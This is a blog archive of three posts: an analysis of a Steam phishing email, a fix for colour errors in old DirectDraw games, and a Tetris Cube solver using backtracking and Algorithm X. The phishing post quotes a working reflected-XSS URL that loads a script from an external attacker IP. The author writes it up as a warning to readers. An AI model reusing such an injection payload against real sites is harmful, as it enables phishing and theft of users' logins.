Style: black | white

Monday, November 02, 2009

Don't Get Caught In This Steam Phishing Scam - How Phishers Work

So I just got this mail in my inbox:



Needless to say, I was pretty surprised, I didn't know Steam accounts could expire. Sure enough the e-mail looks legit, it's mailed from support@steam.com, didn't get caught by GMail's spam filter, and the corporate footer looks clean enough. If you have an eye for detail you might notice that there is a space missing here: "click here,login".

Let's check where this link leads to:



https://cafe.steampowered.com/directory.php?country=AL&amp;state='&gt;<script%20src%3dhttp://92.241.190.202/~faaaaaaa/phising/steam/iframe.js></script%20src%3dhttp://92.241.190.202/~faaaaaaa/phising/steam/iframe.js>

"cafe.steampowered.com" certainly looks okay, but now it becomes clear that the state variable has been tampered with. It certainly points to an external script, and putting it in the "phising" folder really doesn't look good... let's open the link. Here's how it looks in Chrome:




And sure enough, the page looks messed up. Let's look at the generated html source:





The phishers have now a fully working script tag injected in the source. Let's see what's in there:



Basically, the phisher is replacing the document body with an iframe which points to an evil url. Let's take a look at that url:



Sure enough, it's a fake Steam login page.

Now you might have noticed that the phisher's attack method wasn't working in my Chrome. Using Firefox, on the same machine, opening the URL from the mail immediately gives:



So, what have we learned?

  • Always check mails for spelling mistakes.
  • Always check mail and browser URLs for suspicious content.
  • If available: trust your spam/phishing filter.
  • If you're asked to re-enable your account and you get redirected to a general login page (like the fake on we saw), you can always open a new tab and go to steampowered.com (or other website) by typing it yourself and login that way.
Which actions should be taken?
  • Chrome, Firefox and others should detect this evil site as a phishing site (they detect most of them already, but new ones take a while before they get picked up).
  • GMail's spam filter failed here, I reported the e-mail as a phishing scam.
  • Steam has an XSS exploit in their site which they should fix as soon as possible. Never say that "XSS exploits aren't that dangerous"!

Wednesday, July 29, 2009

Solving Color Problem (Red Grass, Purple Water) In Age Of Empires 2: Age Of Kings (The Conquerors And Others Too) On Vista And Windows 7

Update: solutions and program in this post have been updated (see red text)! Thanks everyone who commented and e-mailed me.

...this has to be the longest post title ever.

Solution is below. Post has been split up in intro (problem description), solution, and a little technical explanation.

Intro
Recently I wanted to play an old favorite of mine: Age Of Kings: The Conquerors. The game had been running fine all the way from Windows 98 (and NT 4 as well, which was a pain to play games on at the time, but I digress) until Windows Vista. However,  with Windows 7 - which I've been running happily for some time now - I stumbled on a roadblock: the colors were all wrong.

This is not an uncommon problem. Many people have had problems when running the game on Vista or Windows 7, this is how you could describe it:

  • Basically, the colors are all off.
  • It's Age Of Empires: Mars Edition.
  • Grass turns red, or green, after playing a few seconds...
  • ...or the water turns purple.
  • Some trees turn red as well.

And this is what it looks like:



The thumbnail doesn't really bring it out, look at this ("zoom, enhance"):


The tree has an ugly red border around it and the grass turns too green.

Age Of Kings isn't the only game with this problem. Basically a lot of old Directdraw games suffer from this problem, like the first Age Of Empires, Worms Armageddon, and even Starcraft:



It's not too bad here though, most of the terrain looks okay.

Solution
There are a few different solutions floating around. Let's list the most common ones:
(Update) I've also listed how well they work next to each number, so you can quickly scan the list.

  (1 - unreliable) Alt-tab out of the game, and then maximize it again. This worked in XP (and in Vista for some users), and works in some cases in Windows 7. I had no luck with this anymore though. The colors would work for a few seconds, but then changed again.

  (2 - unreliable) Change your in-game resolution. Doesn't work in Windows 7 anymore either. After switching resolutions, the colors even became worse. This might work in Vista, but this solution is not really preferred (you want to play on the best resolution possible).

  (3 - unreliable) Before starting the game, open a explorer window. My Computer, a random folder, anything works. Surprisingly, this often worked in Vista with most Directdraw games. In Windows 7, not anymore.

  (4 - mostly reliable but annoying) Close explorer.exe using the Task Manager. This works on both Vista and 7, for most games, but if you're like me, you don't like to close your 5+ open explorer windows. Besides, there's a better solution...
(Update) This method has now been added to the program (see below). Another way is to create a batch script, if you don't want to use the program:

;kill explorer.exe
taskkill /f /IM explorer.exe
;start the game and wait to finish
;note: /D indicates the starting directory, often the same as your game's exe
start /WAIT /D "C:\path\to\game.exe" "C:\path\to\game.exe"
;start explorer.exe again
start explorer.exe


Or, another method:

taskkill /f /IM explorer.exe
"C:\path\to\game.exe"
;if the game finishes press enter to restart explorer
pause
start explorer.exe


  (5 - sometimes reliable but annoying) (Update) Mess around with the compatibility options, especially Run in 256 colors, Disable visual themes, Disable desktop composition, Display display scaling on high DPI settings and Run as administrator. This works for some games/users, but I don't really like this method as it has a lot of drawbacks (desktop windows/icons messed up when you exit etc...).

None of the above options worked for me anymore, so basically I was stuck. So here are the solutions which actually do work:

  (6 - mostly reliable but annoying and/or hard) Download a mod or tool for Age Of Kings: The Conquerors to play it in windowed mode. You can get it here. Unzip the archive into your installation folder, and run AoC.eXe. If you want, you can also mess around in the config.xml file to change some options. This is how it looks:



On my large monitor, I actually enjoy playing this way.
There are other mods out there for other games which allow to run them in windowed mode. For Age Of Empires: Rise Of Rome, you can get this mod. Or you can get DxWnd which forces Directdraw (DirectX >=7) games to run in a window. I had no luck with it for The Conquerors however.

For Starcraft, there are also some tools floating around to fix the resolution/window/colors.

For Worms: Armageddon, CyberShadow is working on a fix for the game (see here), so you might want to keep an eye out for that.

(7 - mostly reliable and strange) (Update) This is the newly found "Screen Resolution"-method. Found on this forum recently. This is a weird workaround but seems to work on every game I've tried. Follow these steps exactly: right click on your desktop and pick Screen Resolution. You're not done yet (!), in the Screen Resolution window, click Advanced settings. Another window will open - click the Monitor-tab in that window. You should now be looking at something like this:



Now, leave these windows open, and start the game. The colors should work. Unbelievably weird (I had to pick the Monitor tab for it to work), but it works. If it works for you too, you may stop reading here :).

  (8 - mostly reliable) Download a tool I quickly whipped up to play Directdraw games in fullscreen without them changing colors.
(Update) New version of the tool is now available and should fix some errors people on 32 bit systems were having, is a bit better written, has better error catching, and a few new features.
This tool will automatically suspend all applications which are changing the game's colors and will bring them back alive when you close the game. Here's how it looks when you start it:



In it's default state, the program will monitor one process: explorer.exe. In most cases, this should be enough. Press the Browse button to select a game executable. For The Conquerors, this would be age2_x1.exe:




Then press Start. The game should start. The program will start suspending all the threads of the processes in the list (explorer.exe) and will patiently wait until you close the game. Notice that you might not be able to alt-tab out the game while it is running. This is one of the side-effects when you suspend explorer.exe.

Suppose there is an other program apart from explorer.exe which is messing up your colors (MSN Live Messenger liked to do this for example). When you notice color errors in your game, close it. The program will automatically add these culprits to the list:



Press Start again to try again. Alas, you have to stop and start the game again when you notice color errors. It's not super-user-friendly, but it works. Notice that in the above screenshot there are a these processes:
  • explorer.exe: was already being suspended.
  • age2_x1.exe: the program has detected that the game itself is changing colors (duh). Don't worry, it won't suspend the game itself, even when it's displayed in the list.
  • csrss.exe: a subsystem in Windows 7. While this process also likes to mess with the colors, we cannot suspend it (since it handles mouse events etc, suspending it completely locks up your system - believe me, I've tried). Luckily, suspending explorer.exe seems to do the job. Don't worry, even although it's in the list, the program won't suspend it.
  • Idle: the system idle process. This one will also be ignored.
It seems I was lucky, apart from explorer.exe there were no other programs misbehaving. And The Conquerors or Starcraft is running fine with all colors in their full glory.

(Update) I've added a Method option to the program, if the default recommended method is not working for you, you can try selecting the other ones to see if they work. Note that the last method (Kill process) will terminate the tasks found in the list. When you finish the game, the tasks will be started again. This is the same method as option (4), and should only be used when nothing else works.

If the first and second method aren't suspending explorer.exe for you (rare), I would love to hear from you. I've had someone reporting that the program had no effect, and I would like to find out what causes this.

(Needs .NET to be installed.)

Technical explanation
If you're interested in a little background on why this problem is happening, read on.
I already knew a little about DirectX, the GDI and the Windows API. Basically, back in the day, DirectX (which handles a lot of the graphics and multimedia workload in games and other program) consisted of a subset called Directdraw, used in 2D graphics.

PCs back then weren't really powerful. Everything had to be as fast as possible, even color handling. Not everyone had a powerful graphics card. Some of these only supported 256 colors. So something which Directdraw did for you was maintaining a palette of 256 colors. Like a painter, programmers could fill this palette with 256 colors they would use: ten greens for grass, 6 blues for water, and so on. Some of these 256 colors are static (but then again, not always) and cannot be changed. If you're interested in the deep and dirty details: this page does a good job explaining it.

Now this is the thing: if you're a fullscreen game, you don't want other programs screwing up the system palette, changing your beautiful chosen colors to ugly greens and reds. And this is what's happening in Windows 7. If you read System Palette and Static Colors on MSDN, it states that "However, because changing the static colors can have an immediate and dramatic effect on all windows on the display, an application should not call SetSystemPaletteUse, unless it has a maximized window and the input focus." Alas, this is not enforced by Windows, and thus explorer.exe (which comes from Microsoft mind you) and other programs will happily call SetSystemPaletteUse and mess poor Conquerors up.

I googled a bit around to see if I could find any clues. This message at Stackoverflow describes the same problem. (Update: this message is actually posted by the maintainers of Worms: Armageddon, see also further below.) No-one provided an answer though. I opened up Visual Studio (which was still installed) to quickly throw something together in VB.NET.

  Protected Overrides Sub WndProc(ByRef recWinMessage As System.Windows.Forms.Message)
    Select Case recWinMessage.Msg
      Case &H15 ' WM_SYSCOLORCHANGE
        Debug.Print("WM_SYSCOLORCHANGE from " & GetWindowTitle(recWinMessage.WParam.ToInt32) & " (" & recWinMessage.WParam.ToString & ")")
      Case &H311 ' WM_PALETTECHANGED
        Debug.Print("CHANGED from " & GetWindowTitle(recWinMessage.WParam.ToInt32) & " (" & recWinMessage.WParam.ToString & ")")
        Debug.Print("Device context: " & GetWindowDC(recWinMessage.HWnd.ToInt32))
        Dim pid As Integer
        GetWindowThreadProcessId(recWinMessage.WParam, pid)
        Dim p As Process = Process.GetProcessById(pid)
        Debug.Print("Process: " & pid.ToString & ": " & p.ProcessName)
        Dim PaletteSizeScrn = GetDeviceCaps(GetWindowDC(recWinMessage.HWnd.ToInt32), 104)
        Debug.Print("Got " & PaletteSizeScrn & " palette size scr")
      Case &H310 ' WM_PALETTEISCHANGING
        Debug.Print("CHANGING from " & GetWindowTitle(recWinMessage.WParam.ToInt32) & "(" & recWinMessage.WParam.ToString & ")")
      Case &H30F ' WM_QUERYNEWPALETTE
        Debug.Print("QUERY from " & GetWindowTitle(recWinMessage.WParam.ToInt32) & "(" & recWinMessage.WParam.ToString & ")")
    End Select
    MyBase.WndProc(recWinMessage)
  End Sub


This will intercept the WM_SYSCOLORCHANGEWM_PALETTECHANGEDWM_PALETTEISCHANGING and WM_QUERYNEWPALETTE messages and look at where they're coming from. Basically, three processes are fighting:

CHANGING from (0)
CHANGED from Age of Empires II Expansion (135458)
Device context: 16847861
Process: 4508: age2_x1
Got 256 palette size scr
[...]
CHANGED from GDI+ Window (917744)
Device context: 184626156
Process: 2452: explorer
Got 256 palette size scr
CHANGED from (65552)
Device context: 1744905863
Process: 540: csrss
Got 256 palette size scr
[...]


The game itself, explorer.exe, and csrss.exe.

I then wanted to make a program which would change the palette back every time an outside process tried to change it. A had a whole list of functions loaded and code written:

Private Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hWnd As Integer, ByVal Msg As Integer, ByVal ByValByValwParam As Integer, ByVal lParam As String) As Integer
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Integer, ByVal lpString As String, ByVal cch As Integer) As Integer
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Integer) As Integer
Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal handle As IntPtr, ByRef processId As Integer) As Integer

Private Declare Function GetSystemPaletteUse Lib "gdi32" (ByVal hDC As Integer) As Integer
Private Declare Function GetSystemPaletteEntries Lib "gdi32" (ByVal hDC As Integer, ByVal wStartIndex As Integer, ByVal wNumEntries As Integer, ByRef lpPaletteEntries As PALETTEENTRY) As Integer
Private Declare Function SetSystemPaletteUse Lib "gdi32" (ByVal hDC As Integer, ByVal wUsage As Integer) As Integer
Private Declare Function GetPaletteEntries Lib "gdi32" (ByVal hPalette As Integer, ByVal wStartIndex As Integer, ByVal wNumEntries As Integer, ByRef lpPaletteEntries As PALETTEENTRY) As Integer
Private Declare Function RealizePalette Lib "gdi32" (ByVal hDC As Integer) As Integer
Private Declare Function SelectPalette Lib "gdi32" (ByVal hDC As Integer, ByVal hPalette As Integer, ByVal bForceBackground As Integer) As Integer
Private Declare Function SetPaletteEntries Lib "gdi32" (ByVal hPalette As Integer, ByVal wStartIndex As Integer, ByVal wNumEntries As Integer, ByRef lpPaletteEntries As PALETTEENTRY) As Integer
Private Declare Function CreatePalette Lib "gdi32" (ByRef lpLogPalette As LOGPALETTE) As Integer
Private Declare Function SaveDC Lib "gdi32" (ByVal hDC As Integer) As Integer
Private Declare Function RestoreDC Lib "gdi32" (ByVal hDC As Integer, ByVal nSavedDC As Integer) As Integer

Private Declare Function GetDC Lib "user32" (ByVal hWnd%) As Integer
Private Declare Function GetWindowDC Lib "user32" (ByVal hWnd%) As Integer
Private Declare Function ReleaseDC Lib "user32" (ByVal hWnd%, ByVal hDC%) As Integer
Private Declare Function GetDeviceCaps Lib "gdi32" (ByVal hDC As Integer, ByVal iCapabilitiy As Integer) As Integer


But it just didn't work out and turned out to be too difficult. Also, I was beginning to suspect that this method could work, but would still result in flickering while changing palettes. I was browsing around at the Worms Armageddon forums, and found out that somebody wrote a DLL with source code for this problem. The code is written in Delphi and easy enough to read:

library wkColorFix;

uses
 Windows, TlHelp32, Messages;

function OpenThread(dwDesiredAccess: DWORD; bInheritHandle: BOOL; dwThreadId: DWORD): THandle; stdcall; external 'kernel32.dll';
const THREAD_SUSPEND_RESUME = $0002;

function PauseResumeExplorer(bResumeThread: Boolean): Boolean;
var
 hSnapshot, hThread: THandle;
 pe32: TProcessEntry32;
 te32: TThreadEntry32;
 dwExplorerPID: DWORD;
begin
 Result := False;

 hSnapshot := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
 pe32.dwSize := SizeOf(TProcessEntry32);
 dwExplorerPID := 0;
 if Process32First(hSnapshot, pe32) then
  repeat
   if lstrcmpi(pe32.szExeFile, 'explorer.exe')=0 then
   begin
    dwExplorerPID := pe32.th32ProcessID;
    break;
   end;
  until not Process32Next(hSnapshot, pe32);
 CloseHandle (hSnapshot);
 if dwExplorerPID=0 then
  Exit;

 hSnapshot := CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
 if hSnapshot=INVALID_HANDLE_VALUE then
  Exit;

 te32.dwSize := SizeOf(TThreadEntry32);

 if Thread32First(hSnapshot, te32) then
 begin
  repeat
   if te32.th32OwnerProcessID = dwExplorerPID then
   begin
    hThread := OpenThread(THREAD_SUSPEND_RESUME, False, te32.th32ThreadID);
    if bResumeThread then
     ResumeThread(hThread)
    else
     SuspendThread(hThread);
    CloseHandle(hThread);
   end;
  until not Thread32Next(hSnapshot, te32);
  Result := True;
 end;

 CloseHandle (hSnapshot);
end;

function IsWAActive: Boolean;
var
 H: HWND;
 PID: DWORD;
 R: TRect;
begin
 Result := False;
 H := GetForegroundWindow;
 GetWindowThreadProcessId(h, PID);
 if PID <> GetCurrentProcessId then
  Exit;
 GetWindowRect(H, R);
 if (R.Top<>0) or (R.Left<>0) then
  Exit;
 Result := True;
end;

var
 WAActive, LastWAActive: Boolean;

procedure ThreadProc(Nothing: Pointer); stdcall;
begin
 LastWAActive := False;
 repeat
  WAActive := IsWAActive;
  if WAActive<>LastWAActive then
  begin
   if PauseResumeExplorer(not WAActive) then
    LastWAActive := WAActive
   else
   begin
    MessageBeep(MB_ICONERROR);
    Sleep(1000);
   end;
  end;
  Sleep(1);
 until False;
end;


procedure Stop;
begin
 if LastWAActive then
 begin
  PauseResumeExplorer(True);
  LastWAActive := False;
 end;
 //MessageBeep(0);
end;

procedure DllMain(Reason: Integer);
begin
 if Reason=DLL_PROCESS_DETACH then
  Stop;
end;

var
 ThreadID: DWORD;

begin
 CreateThread(nil, 0, @ThreadProc, nil, 0, ThreadID);
 DllProc := @DllMain;
end.


Easy enough: grab a process, find every thread, and send the suspend message to every thread. I converted this code to VB.NET and slapped it on a form which would grab every WM_PALETTECHANGED message to update its list of processes.

(Update) There actually is a less known way to suspend a process with one API call without iterating all the threads, and is used in the PsSuspend- and Process Explorer tools made by SysInternals:

  <DllImport("ntdll.dll", CharSet:=CharSet.Auto, SetLastError:=True, ExactSpelling:=True)> _
Public Shared Function NtSuspendProcess(ByVal ProcessHandle As IntPtr) As Integer
  End Function
  <DllImport("ntdll.dll", CharSet:=CharSet.Auto, SetLastError:=True, ExactSpelling:=True)> _
Public Shared Function NtResumeProcess(ByVal ProcessHandle As IntPtr) As Integer
  End Function


Good luck finding this call on MSDN, however, as it is undocumented. This call is used when you select the second method in the program. The third (Alternative) method uses the debug API and is just included for completeness (download the source to see the full code):

  <DllImport("kernel32.dll", CharSet:=CharSet.Auto, SetLastError:=True, ExactSpelling:=True)> _
Public Shared Function DebugActiveProcess(ByVal dwProcessId As Integer) As Boolean
  End Function
  <DllImport("kernel32.dll", CharSet:=CharSet.Auto, SetLastError:=True, ExactSpelling:=True)> _
Public Shared Function DebugActiveProcessStop(ByVal dwProcessId As Integer) As Boolean
  End Function


(Update) Note that on the WA forums, a method has found which should work as well, quote:
It looks like I found a fix for most (if not all) palette problems, and it'll be in the next Beta. If anyone wants to reproduce this with a WormKit module, you'll have to hook IDirectDrawPalette::SetEntries and double the palette changes to GDI (using SelectPalette), before the IDirectDrawPalette call. I also found that calling IDirectDrawSurface::SetPalette on the main surface also helped. Be careful, as the game hooks the RealizePalette GDI function before the calling ::SetEntries to prevent other applications from resetting their palette.
This might give a bit of flickering, but should indeed work. Sadly, this is not easily implemented in "just any game". I'm not sure it can be done without access to the game source code, and even then it would require advanced hooking techniques...

If you're (really) interested, you can download the (update: a bit less horrible and ugly) source code here (for the binary: scroll up). Consider it a reward for reading all the way to the end.

Still todo (maybe later)
  • Currently the program doesn't handle loaders: executables which load the main game in another process and then close. I should add an alternative way of starting: "Watch for this executable, it will start itself in a few moments, be ready!"
  • It would be nice to have a list with checkboxes which you can check or uncheck. Idle, csrss and the game executable would be grayed out.
  • Save changes or "profiles". So that you don't have to stop and start for every new process on the list when a color error pops up. (On the upside: currently the program is very portable. No installation, registry keys, or file creation.)

Tuesday, June 23, 2009

Solving A Tetris Cube, Recursive Backtracking, Algorithm X, Oh My!

A few days ago I got my hands on one of these:




A Tetris Cube. Twelve pieces, and a box of 4 by 4 by 4. Your task: to put the pieces neatly in the box again. The box said there are more than 9000 solutions, but I knew nonetheless this wasn't going to be an easy task. I was going to solve it, "Without cheating!", I proclaimed proudly.

An hour or so later these little blocks were completely driving me crazy. Usually I'm not that bad with these kinds of puzzles, but this thing certainly proved to be very difficult. I decided to call it a day and would try again later.

The next day I tried again, I was making a little progress, but every time I came close a little piece stuck out just a tiny little bit! This was going nowhere. If I were to beat this devil's contraption, I would need to resort to other means.

"I'll just throw together a recursive function real quick, that should be easy enough, right? (And no, that is not cheating...)" How I came to regret those words. In my experience, this:
I'll just quickly find a solution with recursive backtracking.
Almost always turns into this:
Damn, damn, damn! Why is it so slow? How can I speed this thing up?
But first things first. There are a few ways you could solve this, but first, let's take a slight detour to explain backtracking (you may skip this if you already know all this, but if you do know all this, then you probably know the solution to the puzzle as well, or would handle things better than I did):

Detour: Recursive backtracking in general


Let's see what a recursive backtracking function generally looks like:

recursive_funtion(level) {
  for all possible ways for something {
    try it
    if solution valid {
      if solution complete {
        done, show solution
      }else{
        recursive_function(next_level)
      }
    }
    (revert this try)
  }
}


As you can see, this method consists of a level, which we traverse in each recursive call, and a set of local decisions we make at each level. Take a magic square, for example (image from the Wikipedia page):



With the above method, we would define our level as the position in the grid (ranging from 1 to 9, as there are 9 spaces to fill with a number), the decisions at each level would be a number ranging from 1 to 9, our function would be:

recursive_funtion(position) {
  for number from 1 to 9, not used elsewhere already {
    put this number on this position, make it unavailable
    if solution valid {
      if solution complete {
        done, show solution
      }else{
        recursive_function(next_position)
      }
    }
    (make this space blank again, and the number available)
  }
}


A few remarks:
(1) As each number can only be used once in the whole square, we must keep an array or set somewhere to keep track of the numbers used, which can be easily done in each programming language.
(2) Note that we can check mid-solution, we must not wait until we are at position 9 (the last position) to check if the solution is valid. In fact, we can speed things up a bit by implementing a few optimalizations. For example: after each row is done (at positions 3, 6 and 9), check if this row sums to 15, if it does not, there is no sense continuing towards deeper levels in our tree.

Speaking of trees, I hope you see how the combination of levels and decisions correspond to a tree. If you do not: here is a picture:



(Not all levels, lines and branches are shown, but it should give you a pretty clear idea.) Note that, if we picked e.g. the number 2 for position (level) 1, we cannot use it in the following levels, as shown in the tree.

Now let's see how the function will work, we start at the first level, with the first number:


This is a valid choice, so we can step down to the next level. In level 2, our first number we can pick is 2:


This is a valid choice, so we can step down to the next level. In level 3, we can pick 3, let's see what happens:


Since we now have a complete row, we can check if the sum 1+2+3=15. Is isn't, so it makes no sense to continue at this point. Look at the huge part of the tree we can "cut off", as shown by the red curved line.

We're still in level 3, we try the following number: 4. 1+2+4=7, which isn't 15. We can cut away this part as well. Number 5 gives 8, 6 gives 9, and so on until number 9 gives 1+2+9=12, all the branches have been cut. Note that we can make an important observation here: your optimizations should try to cut away from the tree as early as possible, that way, the solution space in which we have to search can be decreased dramatically. (This is also the reason why the hardest choices or levels are often put first in these trees.)

Now the algorithm "backtracks" back to level 2, and tries the following number there: 2:


And so on (the yellow numbers are the ones we've "done", or excluded in our optimization). This continues until we find a solution, e.g.:
Level 1: 2, level 2: 7 and level 3: 6 gives 15;
level 4: 9, level 5: 5 and level 6: 1 gives 15;
level 7: 4, level 8: 3 and level 9: 8 gives 15.

Back on track (no pun intended): recursive backtracking in this case


For the Tetris Cube, we have tree decision variables:
(1) the block used (there were 12 different blocks);
(2) the position were we put the block;
(3) the rotation of the block.

If we'd used position as the level, we have 64 different levels (4x4x4). If we were able to place any remaining block at this position, we could immediately use the next unoccupied space as the position in the next recursive call (since it makes no sense trying all the occupied positions first, since they won't validate anyway).

If we'd used block as the level, we have 12 different levels. If we are able to place this block at any available position in a specific rotation, we can move on the the next block. It seems a bit more sensible to use this method. This way, our tree will be smaller (less tall), and the decisions inside the function purely concern position and orientation in 3d-space. Our function now looks like:

recursive_funtion(block) {
  for all positions 1 to 64 {
    for all orientations 1 to 24 {
      put our block at this position in this orientation
      if solution valid {
        if solution complete {
          done, show solution
        }else{
          recursive_function(next_block)
        }
      }
      (remove this block)
    }
  }
}


There are still a few questions left we have to answer, mainly: the different rotations, and how we can validate a partial solution. But first: let's take a look at the different blocks and how we can encode them.

The different blocks


There are 12 blocks, colored in either red, blue or yellow (but the colors themselves mean nothing, they just add decoration). Since the 3d-modelling program Blender runs too slow on my laptop (Compositing enabled and such) I quickly whipped out a few lines of Povray code.


Did you know I can do animations too?

Now how do we encode them? Each block can be described by a set of tiny 1x1x1 sub-blocks placed along the x, y and z axes. I call the tiny block placed at (0,0,0) the pivot. Take the red L for example, this block can be described as a combination of five little blocks:
{(0,0,0); (1,0,0); (2,0,0); (0,1,0); (0,2,0)}
(0,0,0) is the corner-block and our pivot.

Another way of describing this block with another pivot point:
{(0,0,0); (1,0,0); (2,0,0); (2,1,0); (2,1,0)}

As you can see, it doesn't matter which sub-block we use as our pivot block or how we places our x,y and z axes. Since our function will try every position and every possible rotation, we try every combination anyway.

Now why are there 24 rotations? Every block can be placed facing the direction along: x positive, x negative, y positive, y negative, z positive and z negative, which gives 6 possible directions.
For every direction, we can rotate the block in 4 different ways (0°, 90°, 180° and 270°). 4x6=24. Easy.

Taking the description {(0,0,0); (1,0,0); (2,0,0); (0,1,0); (0,2,0)} and saying: put this block in position 34 facing y negative and rotated 90° now just becomes a matter of transforming and rotating objects in 3d. I won't describe the details here, it involves some matrix manipulations and such, but are really simple when rotating in the four degrees mentioned above. If you want to know more, take a look here or Google it.

In PHP, the language I was using (I know, I know - remember, I thought this would be a quick and easy job), a block description looks like:

// 1 1 1
// 1
// (1)
$blocks[] = array(array(0,0,0)
    ,array(0,1,0)
    ,array(0,2,0)
    ,array(1,2,0)
    ,array(2,2,0) );


Verifying partial solutions


Just as with our magic square, we can do a few checks after placing a few blocks, a few of them are necessary:
(1) a block may not overlap another block;
(2) a block may not go outside the bounds of the 4x4x4 block.

You could also get creative:
(3) a block may not be placed in such a way that we have an isolated empty space. This is, a space surrounded by occupied spaces (or by the bounds of our 4x4x4 cube).

Trying the program


We're done, I was exited, I would beat this thing!

The program now looked like this (you can't read the code - believe me, it's a good thing):



The program was running dog slow. It was doing lots of block-position-rotation combinations very fast, but it was still too slow. I thought I had made an error, and changed some parameters. I used a 2x2x2 bounding box with only three little pieces to fill it with. The program immediately displayed all the solutions (not that many of course). It was working fine, but couldn't handle the large solution space of a 4x4x4 box. That's the problem with recursive backtracking, a "magic square" (see above), with 9 spaces is easy enough, but one with 10 spaces is a lot harder, and one with 11 spaces is even harder then the previous increment (non-linear). It was back to the drawing board again.

The following day...


The next day I decided to Google around a bit. It turns out that someone else has already solved this puzzle and posted his method online here. The author seems to like solving all these puzzles. Most of his findings and description is exactly the same as what I found, so why did his method work. You can download his program (http://scottkurowski.com/tetriscube/TetrisCubeSolved.zip) and take a look at the source code yourself.

So why was his program working?
(1) C! It's a pity, but C is much, much faster than PHP, a factor we can't omit here.
(2) He doesn't use a backtracking recursive function, but the general method is the same (a bunch of goto's and iterating over all the possible permutations the place the blocks one by one). It does backtrack however.

It's a pretty and well-written program. I felt defeated. Both by the puzzle and by an other programmer. Since I didn't want to rewrite everything in C to see if a recursive method would prove successful there (I don't like C), I wanted to see if I could solve it using a "slow" language anyway: less brute-forcing, more being smart.

Searching for a better method


I recalled reading something about Dancing Links and how someone solved a Sudoku puzzle with them. "Sudoku and Tetris Cubes look alike", I thought. So I continued researching this.

First of all, we have "Algorithm X", an algorithm found by Donald Knuth for solving exact cover problems. Exact cover problems are problems in which every constraint is an "exactly one"-constraint. Knuth uses the Pentomino puzzle as an example (every piece should be used exactly once and every space must be overlapped by a piece exactly once).

Also - more good news - Algorithm X is recursive and backtracking, it basically optimizes the way the recursion is done (see the linked Wikipedia page above to see how the algorithm works, make sure you understand it before continuing, it's quite easy and Wikipedia does a really good job at explaining it.)

Dancing Links is a method to implement Algorithm X based on the fact that it is very easy to remove and re-add elements in a double linked list. Instead of using this, I first decided to try a simple Algorithm X implementation.

Basically, Algorithm X performs a few operations on a matrix in which each element is either zero (0) or one (1). A solution is then a set of rows so that in each column there is only one one (1).

Take the Pentomino puzzle for example (if you aren't familiar with the puzzle, take a look here). It is basically the same problem as our Tetris cube, except for the fact that it is in 2d instead of 3d. We construct a matrix as such (from Wikipedia):


There are two constraints:
(1) for each of the 12 pieces, there is the constraint that it must be placed exactly once. Name these constraints after the corresponding pentominoes: F I L P N T U V W X Y Z.
(2) for each of the 60 spaces, there is the constraint that it must be covered by a pentomino exactly once.

Thus there are 12+60=72 constraints in total.

The problem involves many choices, one for each way to place a pentomino on the board. It is convenient to consider each choice as a sets of 6 constraints: 1 constraint for the pentomino being placed and 5 constraints for the five squares where it is placed. For example:
{F, 12, 13, 21, 22, 32}
{F, 13, 14, 22, 23, 33}
{I, 11, 12, 13, 14, 15}
{L, 12, 22, 32, 42, 43}


One of many solutions of this exact cover problem is the following set of 12 choices:
{I, 11, 12, 13, 14, 15}
{N, 16, 26, 27, 37, 47}
{L, 17, 18, 28, 38, 48}
{U, 21, 22, 31, 41, 42}
{X, 23, 32, 33, 34, 43}
{W, 24, 25, 35, 36, 46}
{P, 51, 52, 53, 62, 63}
{F, 56, 64, 65, 66, 75}
{Z, 57, 58, 67, 76, 77}
{T, 61, 71, 72, 73, 81}
{V, 68, 78, 86, 87, 88}
{Y, 74, 82, 83, 84, 85}



So, in our case, we need a row for every choice we can make, that is: all the combinations of every piece and every possible way of placing it. Our finds every valid possible combination for every block and constructs rows in the matrix:

for every block {
  for every position {
    for every rotation {
      try this, if this placement is possible (thus if it does not exceed the boundaries of the 4x4x4 box, add it as a row: {BLOCK; pos1, pos2, pos3,...}
    }
  }
}


Now our columns: we have 12 blocks, and 64 positions these blocks can occupy. 12+64=76. For every row, we:
(1) set a one (1) in one of the first twelve columns according to the block this row uses;
(2) set a one (1) in every "position" this row occupies.

After quickly throwing some ugly code together, I ran the program. First, it constructs the choices and the matrix:

Constructing choices:
0: ................................................................
1: ................................................................
2: ................................................................
3: ................................................................
4: ................................................................
5: ................................................................
6: ................................................................
7: ................................................................
8: ................................................................
9: ................................................................
10: ................................................................
11: ................................................................
Number of choices/rows: 4488 out of 18432 theoretical possibles choices
Constructing matrix: .................................................................................................................................................................................................................................................................................................................................................................................................................................................................
Done, number of rows: 4488 and cols: 76


The matrix itself is a bit large to display here. But here are the first few rows:

OUTPUTTING MATRIX:
0 {0; 0; 1; 2; 6; 7; }: 1 0 0 0 0 0 0 0 0 0 0 0 1 1 1 0 0 0 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
1 {0; 0; 1; 2; 18; 19; }: 1 0 0 0 0 0 0 0 0 0 0 0 1 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
2 {0; 0; 4; 8; 9; 13; }: 1 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 1 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
3 {0; 0; 16; 32; 33; 49; }: 1 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0
